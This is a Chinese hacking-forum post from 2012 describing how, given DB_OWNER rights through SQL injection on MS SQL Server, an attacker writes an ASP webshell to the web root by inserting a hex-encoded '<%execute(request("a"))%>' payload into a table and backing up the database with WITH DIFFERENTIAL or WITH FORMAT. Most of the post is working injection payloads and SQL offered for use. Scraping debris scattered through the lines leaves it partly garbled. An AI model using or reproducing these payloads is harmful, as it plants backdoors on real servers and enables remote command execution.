找回密码
 立即注册
查看: 2969|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:/ _8 i% ]: n/ _1 }  N

$ n  x4 m4 p# s/ x5 k减少备份文件大小,得到可执行的webshell成功率提高不少
2 O8 E/ |: b$ W4 D7 I* S4 t# A一利用差异备份
7 S# {) [( W/ i0 C7 b7 B3 V3 A8 }2 ]加一个参数WITH DIFFERENTIAL! W$ ^! @' T7 h' p& Y. p
5 _2 J; t# X( V, S. q$ a' R
1
, V- M* a( ?, j) o+ f3 V2
: U* H9 j$ ?! X# w) ]3% t# {6 C6 w0 g6 D8 h8 Z% _* s# `
4
* p. o9 x4 @$ | declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
! N  e+ D) |9 C' @% hcreate table [dbo].[xiaolu] ([cmd] [image]);
6 w) z; P7 Z/ [; x' @) {0 q& finsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
# g  z/ l; M7 v" k2 bdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL " ^+ h2 Z3 b1 K1 H% |$ i! T
% ^" P) ?/ {$ {: s
二利用完全FORMAT4 f8 {  r- a4 u9 A
加一个参数WITH FROMAT, W& `. i/ ~- m! [7 E) M9 Q0 l
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以% z8 U- _  T" L( O0 @) B
: t6 [, ^9 a, j! `& {9 l
1
% t5 R4 S8 v: Z( M2( D5 b; G( ^8 J0 \
3
$ J! N2 W9 W5 b. h) _4
# l9 a& a* [, n9 c; T declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
' w& ^5 O/ x) b% J( L, e1 fcreate table [dbo].[xiaolu] ([cmd] [image]);: i9 U( S# j1 y. D
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)' S! |, M' ~5 ~8 \$ B1 N! _
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT / Q) g- c5 w- F1 B

9 v' ]% ?7 X; `" [5 l: U总的来说就是那么简单几句,下面以备份数据库model为例子
  ~+ {# f# m! n, g$ T6 I1
, n3 S" B7 ^1 \9 P& K$ A1 D/ ?5 S2 I5 r
1
0 R2 G2 t2 `+ _* k- k' R id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
* f; [( _1 _/ G! Q% v
) J+ O4 \" D: ]% {! H' r) n2! k9 d4 F  C9 ?: Y" a

  \6 K3 Q  X3 {/ f: S+ f' Y- ?8 y* y1# J2 m; o# i+ N
id=1;backup database model to disk='你的路径‘ with differential,format;-- # y1 Z) |; d* b6 H& s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表